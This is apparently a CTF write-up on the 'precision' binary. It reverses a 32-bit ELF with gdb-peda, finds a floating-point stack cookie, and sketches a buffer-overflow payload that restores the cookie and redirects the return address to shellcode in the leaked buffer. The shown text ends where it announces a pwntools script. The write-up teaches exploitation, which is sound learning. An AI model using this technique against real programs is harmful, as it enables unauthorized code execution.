Challenge: precision
Reversing
I start by doing a quick file
and checksec
$ file ./precision
precision: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=929fc6f283d6f6c3c039ee19bc846e927103ebcd, not stripped
$ checksec ./precision
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
I can see from the results of checksec
that this 32-bit binary doesn’t have any protections enabled. I run it once to see whats the binary doing.
$ ./precision
Buff: 0xffb40f28
AAAA
Got AAAA
When running the binary, it prints address of a buffer then it takes input. After sending input “AAAA\n”, input gets printed back on the console and process terminates.
Considering we are dealing with a string echo here. I tried providing “%x\n” in the input.
$ ./precision
Buff: 0xffb40f28
%x
Got %x
So no format string vulnerability here. Then for the last black box test I provided a large string as input.
$ python -c 'print "A"*2000' | ./precision
Buff: 0xffa02b18
Nope
It didn’t work either. Time to start real reversing.
Now opening binary in IDA makes it a little too easy so I will do it with gdb-peda pdisass
to make it interesting.
gdb-peda$ pdisass main
Dump of assembler code for function main:
0x0804851d <+0>: push ebp
0x0804851e <+1>: mov ebp,esp
0x08048520 <+3>: and esp,0xfffffff0
0x08048523 <+6>: sub esp,0xa0
0x08048529 <+12>: fld QWORD PTR ds:0x8048690
0x0804852f <+18>: fstp QWORD PTR [esp+0x98] # cookie
0x08048536 <+25>: mov eax,ds:0x804a040
0x0804853b <+30>: mov DWORD PTR [esp+0xc],0x0
0x08048543 <+38>: mov DWORD PTR [esp+0x8],0x2
0x0804854b <+46>: mov DWORD PTR [esp+0x4],0x0
0x08048553 <+54>: mov DWORD PTR [esp],eax
0x08048556 <+57>: call 0x8048400 <setvbuf@plt>
0x0804855b <+62>: lea eax,[esp+0x18] # Buff
0x0804855f <+66>: mov DWORD PTR [esp+0x4],eax
0x08048563 <+70>: mov DWORD PTR [esp],0x8048678
0x0804856a <+77>: call 0x80483b0 <printf@plt>
0x0804856f <+82>: lea eax,[esp+0x18]
0x08048573 <+86>: mov DWORD PTR [esp+0x4],eax
0x08048577 <+90>: mov DWORD PTR [esp],0x8048682
0x0804857e <+97>: call 0x8048410 <__isoc99_scanf@plt>
0x08048583 <+102>: fld QWORD PTR [esp+0x98]
0x0804858a <+109>: fld QWORD PTR ds:0x8048690
0x08048590 <+115>: fucomip st,st(1)
0x08048592 <+117>: fstp st(0)
0x08048594 <+119>: jp 0x80485a9 <main+140>
0x08048596 <+121>: fld QWORD PTR [esp+0x98]
0x0804859d <+128>: fld QWORD PTR ds:0x8048690
0x080485a3 <+134>: fucomip st,st(1)
0x080485a5 <+136>: fstp st(0)
0x080485a7 <+138>: je 0x80485c1 <main+164>
0x080485a9 <+140>: mov DWORD PTR [esp],0x8048685
0x080485b0 <+147>: call 0x80483c0 <puts@plt>
0x080485b5 <+152>: mov DWORD PTR [esp],0x1
0x080485bc <+159>: call 0x80483e0 <exit@plt>
0x080485c1 <+164>: mov eax,ds:0x804a030
0x080485c6 <+169>: lea edx,[esp+0x18]
0x080485ca <+173>: mov DWORD PTR [esp+0x4],edx
0x080485ce <+177>: mov DWORD PTR [esp],eax
0x080485d1 <+180>: call 0x80483b0 <printf@plt>
0x080485d6 <+185>: leave
0x080485d7 <+186>: ret
End of assembler dump.
gdb-peda$
After the function prologue I can see some interesting instructions (fld, fstp). These instructions are used for handling floating point values. In a summary we can say that it takes a floating point value from ds:0x8048690 and puts it in a local variable ([esp+0x98]). After this stdout
is cleared from a typical setvbuf
call. “Buff: 0xXXXXXXXX” gets printed on the console and __isoc99_scanf
starts waiting for the input. Then it compares the value in local variable ([esp+0x98]) to ds:0x8048690 and it both values are not same it prints “Nope” and exits. But if the values are the same then it prints “Got string_input” and main returns. So clearly this custom logic is placed to have a check for buffer overflow vulnerable __isoc99_scanf
function.
Exploitation
To exploit buffer overflow in __isoc99_scanf
, I first have to bypass custom stack cookie logic in place. For this I can just look up the 8 bytes (floating point values are represented by 8 bytes in memory) value on ds:0x8048690 and while overflowing the local variable (stack cookie) provide the same value.
gdb-peda$ x/gx 0x8048690
0x8048690: 0x40501555475a31a5
Now we can craft our simple stack based overflow payload. Offset between our Buff and cookie local variable is 0x80.
"A"*0x80 + "\xa5\x31\x5a\x47" + "\x55\x15\x50\x40"
I can add cyclic pattern from gdb-peda in above payload to determine offset to return address on stack, that is 12 here.
"A"*0x80 + "\xa5\x31\x5a\x47" + "\x55\x15\x50\x40" + "B"*12 + "XXXX"
Here I can replace return address “XXXX” to address of our input buffer (Buff) provided when running the binary. And start of the payload buffer have be converted into a shellcode that will give us a shell.
This pwntools script will be doing all thing automated for us.